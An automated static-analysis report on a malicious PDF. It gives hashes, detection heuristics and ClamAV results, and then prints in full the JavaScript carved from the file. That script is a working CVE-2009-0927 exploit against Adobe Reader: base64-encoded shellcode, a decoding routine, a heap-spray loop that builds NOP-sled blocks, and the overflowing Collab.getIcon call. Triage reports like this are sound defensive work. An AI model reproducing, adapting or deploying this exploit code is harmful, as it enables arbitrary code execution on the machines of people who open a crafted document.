Malicious PDF — malware analysis report

Static analysis result for SHA-256 6aa4449e681d6a87…

MALICIOUS

PDF

100.1 KB Created: 2009-06-10 22:07:05 +08:00 Authoring application: Acrobat PDFMaker 8.1 for Word (via Acrobat Distiller 8.1.0 (Windows)) First seen: 2012-06-30
MD5: 0584edcb81609812770e8dcf6f6194cb SHA-1: 794295af97997a60e81584bf6b043d12eea72e16 SHA-256: 6aa4449e681d6a876c5a09fd3654ca905daf2744b2a1d4cbe3054471bd04b71e
338 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages the CVE-2009-0927 vulnerability, specifically targeting the Collab.getIcon function. The JavaScript is heavily obfuscated using URL encoding and string concatenation, but the presence of exploit cluster heuristics and ClamAV detection strongly indicates malicious intent. The script's primary function is to download and execute a secondary payload, as suggested by the 'shellcode' variable and the overall exploit pattern.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9993

Heuristics 7

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • ClamAV: Pdf.Exploit.Agent-35646 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-35646
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
         return unescape(output);
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Related samples 2

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0023_000.js pdf-javascript-stream PDF /JS object 23 at offset 0x7F3 10840 bytes
SHA-256: f3145d5ed2585dacda391e89775873b9de155ec4cbf8f90017bc2eb135c32cd9
Detection
ClamAV: Pdf.Exploit.Agent-35646
Obfuscation or payload: likely
Carved artifact contains 7 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
shellcode1="JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dTQxNDglMjV1NDE0OCUyNXU0MTQ4JTI1dUVCOTAlMjV1NUUxYSUyNXU1QjU2JTI1dTA2OGElMjV1MzAzYyUyNXUxNjc0JTI1dUUwYzAlMjV1NDYwNCUyNXUyNjhhJTI1dUU0ODAlMjV1MDIwZiUyNXU4OGM0JTI1dTQzMDMlMjV1RUI0NiUyNXVFOGU5JTI1dUZGZTElMjV1RkZmZiUyNXU3NDU2JTI1dTcxNWElMjV1NzA1MyUyNXU3MDUwJTI1dTcwNTAlMjV1NzA1MCUyNXU3MDU5JTI1dTZiNTglMjV1NzA1NCUyNXU2YzUwJTI1dTcwNTklMjV1NmI1OCUyNXU3MDU3JTI1dTZjNTElMjV1NmQ1YSUyNXU2YjU4JTI1dTcwNTclMjV1Nzg1MCUyNXU3MDU5JTI1dTc5NGUlMjV1NmI1OCUyNXU3MjUwJTI1dTcwNTAlMjV1NzA1MCUyNXU3ODU1JTI1dTcwNTklMjV1NzE1OCUyNXU2YzRlJTI1dTcwNTAlMjV1NzI1MCUyNXU3MDUwJTI1dTcwNTAlMjV1NmI1OCUyNXU2YzRmJTI1dTc5NTglMjV1Nzc1NyUyNXU3ODUwJTI1dTc5NTglMjV1Nzc1NCUyNXU3MDUxJTI1dTZmNGYlMjV1Nzc1NyUyNXU3ODUwJTI1dTc4NTYlMjV1NmM0ZSUyNXU3NzU5JTI1dTczNTAlMjV1NmM1MCUyNXU3ODRlJTI1dTdhNTElMjV1NzI1MCUyNXU3MDUwJTI1dTcwNTAlMjV1Nzk1OCUyNXU3NzU0JTI1dTZjNTElMjV1NmY0ZiUyNXU3NzU3JTI1dTc4NTAlMjV1Nzg1NiUyNXU3NjRmJTI1dTcyNTIlMjV1Nzk0YiUyNXU2YzU3JTI1dTc4NGUlMjV1N2E1MCUyNXU3MjUwJTI1dTcwNTAlMjV1NzA1MCUyNXU3MDU5JTI1dTc5NTglMjV1Nzc1NCUyNXU3MDUyJTI1dTZmNGYlMjV1Nzc1NyUyNXU3ODUwJTI1dTc4NTYlMjV1NzU1YSUyNXU3NzUxJTI1dTcwNTAlMjV1NmM1NyUyNXU3ODRlJTI1dTc5NGYlMjV1NzE1MCUyNXU3MDUwJTI1dTcwNTAlMjV1Nzk1OCUyNXU3NzU0JTI1dTc0NTIlMjV1NmY0ZiUyNXU3NzU3JTI1dTc4NTAlMjV1Nzg1NiUyNXU2YjRmJTI1dTc3NTklMjV1NmQ0ZiUyNXU2ZjUwJTI1dTc4NGUlMjV1Nzk0ZSUyNXU3MTUwJTI1dTcwNTAlMjV1NzA1MCUyNXU3MDU5JTI1dTc5NTglMjV1Nzc1NCUyNXU3ODUyJTI1dTZmNGYlMjV1Nzc1NyUyNXU3ODUwJTI1dTc4NTYlMjV1NzY1MSUyNXU3NTU2JTI1dTdhNGYlMjV1NzA1MSUyNXU3ODRlJTI1dTc4NGQlMjV1NzE1MCUyNXU3MDUwJTI1dTcwNTAlMjV1Nzk1OCUyNXU3NzU0JTI1dTZjNTIlMjV1NmY0ZiUyNXU3NzU3JTI1dTc4NTAlMjV1Nzg1NiUyNXU2ZjUxJTI1dTc5NTclMjV1N2E1MCUyNXU3ODRlJTI1dTc4NGUlMjV1Nzg0YyUyNXU3MTUwJTI1dTcwNTAlMjV1NzA1MCUyNXU3OTU4JTI1dTc3NTQlMjV1NzA1MyUyNXU3MDU5JTI1dTcwNTklMjV1NzA1OSUyNXU3MDU5JTI1dTcwNTklMjV1NzA1OSUyNXU2ZjRmJTI1dTc3NTclMjV1Nzg1MCUyNXU3ODU2JTI1dTZjNWElMjV1Nzg1MCUyNXU3YTRkJTI1dTc2NTclMjV1Nzg0ZSUyNXU3MjRiJTI1dTcxNTAlMjV1NzA1MCUyNXU3MDUwJTI1dTc5NTglMjV1Nzc1NCUyNXU3ODUzJTI1dTZmNGYlMjV1Nzc1NyUyNXU3ODUwJTI1dTc4NTYlMjV1Nzg1OSUyNXU2ZTRmJTI1dTdhNTglMjV1NmU1MCUyNXU3ODRlJTI1dTcyNWElMjV1NzE1MCUyNXU3MDUwJTI1dTcwNTAlMjV1Nzk1OCUyNXU3NzU0JTI1dTZjNTMlMjV1NmY0ZiUyNXU3NzU3JTI1dTc4NTAlMjV1Nzg1NiUyNXU3NDU3JTI1dTc5NTglMjV1NmM0ZSUyNXU3OTU5JTI1dTc4NGUlMjV1NzI1OSUyNXU3MTUwJTI1dTcwNTAlMjV1NzA1MCUyNXU3OTU4JTI1dTc3NTQlMjV1NzA1NCUyNXU2ZjRmJTI1dTc3NTclMjV1Nzg1MCUyNXU3ODU2JTI1dTZlNTclMjV1Nzg0ZCUyNXU3MjRlJTI1dTczNTclMjV1Nzg0ZSUyNXU3MjU4JTI1dTcxNTAlMjV1NzA1MCUyNXU3MDUwJTI1dTc5NTglMjV1Nzc1NCUyNXU3NDU0JTI1dTZmNGYlMjV1Nzc1NyUyNXU3ODUwJTI1dTc4NTYlMjV1NmQ1YSUyNXU2YjU5JTI1dTZkNTclMjV1NmY0ZCUyNXU3ODRlJTI1dTcyNTclMjV1NzE1MCUyNXU3MDUwJTI1dTcwNTAlMjV1Nzk1OCUyNXU3NzU0JTI1dTc4NTQlMjV1NzA1OSUyNXU3MDU5JTI1dTcwNTklMjV1NzA1OSUyNXU3MDU5JTI1dTcwNTklMjV1NzM1MyUyNXU3NjRmJTI1dTc2NTQlMjV1NmQ1OCUyNXU3NzU0JTI1dTcwNTYlMjV1NzA1NSUyNXU3NjU1JTI1dTZmNGYlMjV1Nzc1NSUyNXU3ODU0JTI1dTczNTglMjV1Nzg0ZiUyNXU2ZjRmJTI1dTc0NTclMjV1NzI0ZiUyNXU2ZDUzJTI1dTcwNTAlMjV1NzA1MSUyNXU3MDUwJTI1dTcwNTAlMjV1NzY1NyUyNXU2YjRlJTI1dTc5NTglMjV1Nzc1NCUyNXU3NDUwJTI1dTc5NTglMjV1Nzc1NyUyNXU3MDU2JTI1dTZmNGYlMjV1Nzc1NyUyNXU3NDUwJTI1dTdhNTYlMjV1NzA1NCUyNXU2ZjRmJTI1dTc3NTUlMjV1NmM1MSUyNXU3OTU4JTI1dTc3NTQlMjV1NmM1NSUyNXU3YTU2JTI1dTcwNTAlMjV1N2E1NiUyNXU3MDUwJTI1dTdhNTYlMjV1NzA1MCUyNXU2ZjRmJTI1dTc3NTclMjV1NzA1NiUyNXU2ZjRmJTI1dTc3NTUlMjV1Nzg1MyUyNXU3MzU4JTI1dTc4NGYlMjV1NmY0ZiUyNXU3NDU3JTI1dTc3NTYlMjV1N2E1NiUyNXU3MDUwJTI1dTZkNTglMjV1NmY1NSUyNXU3MDU3JTI1dTczNTUlMjV1NmY0ZiUyNXU3NzU3JTI1dTc0NTAlMjV1NmY0ZiUyNXU3NzU3JTI1dTZjNTUlMjV1NmY0ZiUyNXU3NzU3JTI1dTcwNTYlMjV1NmY0ZiUyNXU3NzU1JTI1dTZjNTIlMjV1NmI1OCUyNXU2ZjU0JTI1dTcwNTclMjV1NzM1OCUyNXU3OTRlJTI1dTcwNTElMjV1NmI1OCUyNXU3NzU0JTI1dTZjNTUlMjV1NzA1NCUyNXU3MTU4JTI1dTc4NTMlMjV1NzY1NCUyNXU2ZTUyJTI1dTdhNTUlMjV1Nzg1NiUyNXU3NTU3JTI1dTc5NTAlMjV1NzE1OCUyNXU3ODU3JTI1dTc0NTAlMjV1NzM1MiUyNXU3NjUwJTI1dTcxNTglMjV1Nzk1MSUyNXU3NDU3JTI1dTc0NTAlMjV1NzI0ZSUyNXU2YzRlJTI1dTZiNGUlMjV1NzY1MyUyNXU3MzU4JTI1dTcwNGMlMjV1Nzg1MCUyNXU3OTU4JTI1dTc3NTQlMjV1NzQ1MSUyNXU3MDU0JTI1dTcxNTglMjV1Nzg1MyUyNXU3YTU0JTI1dTc1NTclMjV1NzM1NiUyNXU2YjU0JTI1dTc1NTclMjV1Nzk1MCUyNXU3MTU4JTI1dTc4NTclMjV1NzQ1MCUyNXU3MjUxJTI1dTcxNTAlMjV1NzM1OCUyNXU3OTUxJTI1dTc0NTclMjV1NzQ1MCUyNXU3MjRlJTI1dTZjNGUlMjV1NmI0ZSUyNXU3YTUxJTI1dTczNTglMjV1NzA0YyUyNXU3ODUwJTI1dTc5NTglMjV1Nzc1NCUyNXU3ODUxJTI1dTcwNTQlMjV1NzE1OCUyNXU3ODUzJTI1dTc2NTQlMjV1Nzk1NCUyNXU3NjU0JTI1dTcxNTQlMjV1NzU1NyUyNXU3OTUwJTI1dTcxNTglMjV1Nzg1NyUyNXU3NDUwJTI1dTczNTAlMjV1Nzc1MCUyNXU3MzU4JTI1dTc5NTElMjV1NzQ1NyUyNXU3MjUxJTI1dTcyNGUlMjV1NmM0ZSUyNXU2ZjRmJTI1dTc3NTclMjV1NmM1NSUyNXU2ZjRmJTI1dTc3NTUlMjV1NzA1MiUyNXU2ZjUwJTI1dTc1NTglMjV1NzY1NSUyNXU2ZjRmJTI1dTZmNGYlMjV1NmY0ZiUyNXU3MDU5JTI1dTcwNTklMjV1NzA1OSUyNXU3MDU5JTI1dTc5NTglMjV1Nzc1NCUyNXU3NDU3JTI1dTdhNTYlMjV1NzA1MCUyNXU3YTU2JTI1dTcyNTAlMjV1N2E1NiUyNXU3MjUwJTI1dTdhNTYlMjV1NzA1MCUyNXU3YTU2JTI1dTczNTAlMjV1Nzg1NiUyNXU3MDUwJTI1dTcwNTAlMjV1NzA1MCUyNXU3MDU0JTI1dTZiNTglMjV1NmY1NSUyNXU3MDUxJTI1dTczNTglMjV1NzM0YyUyNXU3NDUxJTI1dTczNTUlMjV1NmY0ZiUyNXU3NzU1JTI1dTc0NTIlMjV1Nzk1OCUyNXU3NzU0JTI1dTc4NTclMjV1N2E1NiUyNXU3MDUwJTI1dTdhNTYlMjV1NzI1MCUyNXU3YTU2JTI1dTcyNTAlMjV1N2E1NiUyNXU3MDUwJTI1dTdhNTYlMjV1NzM1MCUyNXU3ODU2JTI1dTcwNTAlMjV1NzA1MCUyNXU3MDUwJTI1dTcwNTQlMjV1NmY0ZiUyNXU3NzU3JTI1dTcwNTElMjV1NmY0ZiUyNXU3NzU1JTI1dTc0NTIlMjV1Nzk1OCUyNXU3NzU0JTI1dTc0NTYlMjV1NzA1OSUyNXU3MDU5JTI1dTcwNTklMjV1NzA1OSUyNXU3MDU5JTI1dTcwNTklMjV1NzA1OSUyNXU2YjU4JTI1dTc3NTQlMjV1Nzg1MSUyNXU2YjUyJTI1dTc3NTQlMjV1NzQ1MSUyNXU3MzU4JTI1dTc4NGUlMjV1Nzg1MCUyNXU2YjU4JTI1dTZmNTUlMjV1NzQ1MSUyNXU3MDUzJTI1dTczNTAlMjV1NzM1NCUyNXU3ODU0JTI1dTczNTglMjV1Nzg0ZiUyNXU3MDUwJTI1dTc1NTclMjV1Nzc0ZiUyNXU3YTU2JTI1dTcwNTAlMjV1NmQ1OCUyNXU2ZjU1JTI1dTcwNTclMjV1NzM1NSUyNXU2YjU4JTI1dTZmNTUlMjV1Nzg1MSUyNXU2YjUyJTI1dTZmNTUlMjV1NzQ1MSUyNXU3MzU4JTI1dTZiNGUlMjV1Nzg1MCUyNXU3MzU1JTI1dTZmNGYlMjV1Nzc1NyUyNXU3NDUxJTI1dTZmNGYlMjV1Nzc1NyUyNXU3NDU2JTI1dTZmNGYlMjV1Nzc1NSUyNXU3MDUzJTI1dTZmNGYlMjV1Nzc1NyUyNXU3NDU2JTI1dTZmNGYlMjV1Nzc1NSUyNXU3ODUyJTI1dTZiNTglMjV1Nzc1NCUyNXU3NDU3JTI1dTZiNTIlMjV1Nzc1NCUyNXU3ODUxJTI1dTZiNTglMjV1NmY1NSUyNXU3ODUxJTI1dTcwNTMlMjV1NzM1MCUyNXU3MzU0JTI1dTc4NTQlMjV1NzM1OCUyNXU3ODRmJTI1dTcwNTAlMjV1NzU1NyUyNXU3NzRmJTI1dTdhNTYlMjV1NzA1MCUyNXU2ZDU4JTI1dTZmNTUlMjV1NzA1NyUyNXU3MzU1JTI1dTZiNTglMjV1NmY1NSUyNXU3NDU3JTI1dTZiNTIlMjV1NmY1NSUyNXU3ODUxJTI1dTczNTUlMjV1NmY0ZiUyNXU3NzU3JTI1dTc4NTElMjV1NmY0ZiUyNXU3NzU3JTI1dTc4NTclMjV1NmY0ZiUyNXU3NzU1JTI1dTcwNTMlMjV1NmY0ZiUyNXU3NzU3JTI1dTc4NTclMjV1NmY0ZiUyNXU3NzU1JTI1dTc4NTIlMjV1N2E1NiUyNXU3MDUwJTI1dTZmNGYlMjV1Nzc1NyUyNXU3MDUxJTI1dTZmNGYlMjV1Nzc1NSUyNXU2YzUzJTI1dTdhNTYlMjV1NzA1MCUyNXU2YjU4JTI1dTZmNTUlMjV1NzA1MSUyNXU3MzU4JTI1dTczNGMlMjV1Nzk1MCUyNXU3MzU1JTI1dTZmNGYlMjV1Nzc1NSUyNXU2YzUzJTI1dTdhNTYlMjV1NzA1MCUyNXU2ZjRmJTI1dTc3NTUlMjV1NzQ1NCUyNXU3NTU1JTI1dTZiNTglMjV1NmM0ZSUyNXU3NzU1JTI1dTZiNTglMjV1NmQ1NyUyNXU3ODUwJTI1dTZiNTglMjV1NmQ1NSUyNXU2YzUwJTI1dTc2NTUlMjV1NmI1OCUyNXU3MzU3JTI1dTZjNTMlMjV1NmI1OCUyNXU3NDU3JTI1dTczNTMlMjV1Nzg1NyUyNXU3MzUwJTI1dTczNGYlMjV1NzY1NSUyNXU2YjU4JTI1dTc2NTclMjV1NzA1MiUyNXU3MzUwJTI1dTczNGYlMjV1NzM1MyUyNXU3OTRjJTI1dTc5NTQlMjV1NzE1NCUyNXU2ZDVhJTI1dTczNTAlMjV1NzM0YyUyNXU3NjU1JTI1dTczNTMlMjV1NzY0ZiUyNXU2ZjUwJTI1dTZlNGIlMjV1NzA1MSUyNXU3YTUzJTI1dTcyNGYlMjV1NzQ1NyUyNXU3ODUwJTI1dTcxNGMlMjV1NmU0YyUyNXU2ZDUwJTI1dTczNTAlMjV1NzI0ZiUyNXU3MDU0JTI1dTZiNGUlMjV1NzE0ZiUyNXU2YjUzJTI1dTZlNGYlMjV1NmU1NSUyNXU3NTU3JTI1dTc1NGUlMjV1N2E1NSUyNXU2YjU4JTI1dTZiNGUlMjV1NmI1OCUyNXU3YTU1JTI1dTc0NTIlMjV1NzM1MCUyNXU2ZDRkJTI1dTc2NTYlMjV1NmI1OCUyNXU2YzUwJTI1dTZiNTQlMjV1NmI1OCUyNXU3YTU1JTI1dTZjNTElMjV1NzM1MCUyNXU2ZDRkJTI1dTZiNTglMjV1NzQ1MCUyNXU2YjU4JTI1dTczNTAlMjV1NzU0YyUyNXU2ZTU1JTI1dTZmNTUlMjV1NmQ1NSUyNXU3MjRjJTI1dTc4NTAlMjV1NzA1MCUyNXU3ODRlJTI1dTcwNTclMjV1NmQ0ZiUyNXU2ZjRmJTI1dTZmNGYlMjV1NzM1NiUyNXU3YTUzJTI1dTZjNTUlMjV1NzE1NiUyNXU0ZTcyJTI1dTQ1NzYlMjV1NTg3NyUyNXU1NTc2JTI1dTcwNzAlMjV1NzM1NiUyNXU0ZDU2JTI1dTc0NTYlMjV1NGU3MiUyNXU0NTc2JTI1dTU4NzclMjV1NTU3NiUyNXU3MDUyJTI1dTRmNzIlMjV1NTM3NiUyNXU1MDUyJTI1dTczNTYlMjV1N2E1MyUyNXU2YzU1JTI1dTcxNTYlMjV1NGU3MiUyNXU1MDY3JTI1dTU0NzYlMjV1NTY3NiUyNXU1MDUwJTI1dTMwMzA=";
nopblock1 = "JTI1dTQxNDglMjV1NDE0OA==";
var keyStr = "ABCDEFGHIJKLMNOP" +
                "QRSTUVWXYZabcdef" +
                "ghijklmnopqrstuv" +
                "wxyz0123456789+/" +
                "=";
function decode64(input) {
      var output = "";
      var chr1, chr2, chr3 = "";
      var enc1, enc2, enc3, enc4 = "";
      var i = 0;

      // remove all characters that are not A-Z, a-z, 0-9, +, /, or =
      var base64test = /[^A-Za-z0-9\+\/\=]/g;
      if (base64test.exec(input)) {
         alert("There were invalid base64 characters in the input text.\n" +
               "Valid base64 characters are A-Z, a-z, 0-9, '+', '/', and '='\n" +
               "Expect errors in decoding.");
      }
      input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");

      do {
         enc1 = keyStr.indexOf(input.charAt(i++));
         enc2 = keyStr.indexOf(input.charAt(i++));
         enc3 = keyStr.indexOf(input.charAt(i++));
         enc4 = keyStr.indexOf(input.charAt(i++));

         chr1 = (enc1 << 2) | (enc2 >> 4);
         chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
         chr3 = ((enc3 & 3) << 6) | enc4;

         output = output + String.fromCharCode(chr1);

         if (enc3 != 64) {
            output = output + String.fromCharCode(chr2);
         }
         if (enc4 != 64) {
            output = output + String.fromCharCode(chr3);
         }

         chr1 = chr2 = chr3 = "";
         enc1 = enc2 = enc3 = enc4 = "";

      } while (i < input.length);

     return unescape(output);
   }

garbage = unescape(decode64(shellcode1));
nopblock = unescape(decode64(nopblock1));
headersize = 10;
acl = headersize+garbage.length;
while (nopblock.length<acl) nopblock+=nopblock;
fillblock = nopblock.substring(0, acl);
block = nopblock.substring(0, nopblock.length-acl);
while(block.length+acl<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<180;i++) memory[i] = block + garbage;
var buffersize = 4012;
var buffer = Array(buffersize);
for (i=0; i<buffersize; i++)
{
buffer[i] = unescape(decode64("JTI1MGElMjUwYSUyNTBhJTI1MGE="));
}
Collab.getIcon(buffer+'_N.bundle');

Open this report in the interactive analyzer, or submit your own file for analysis.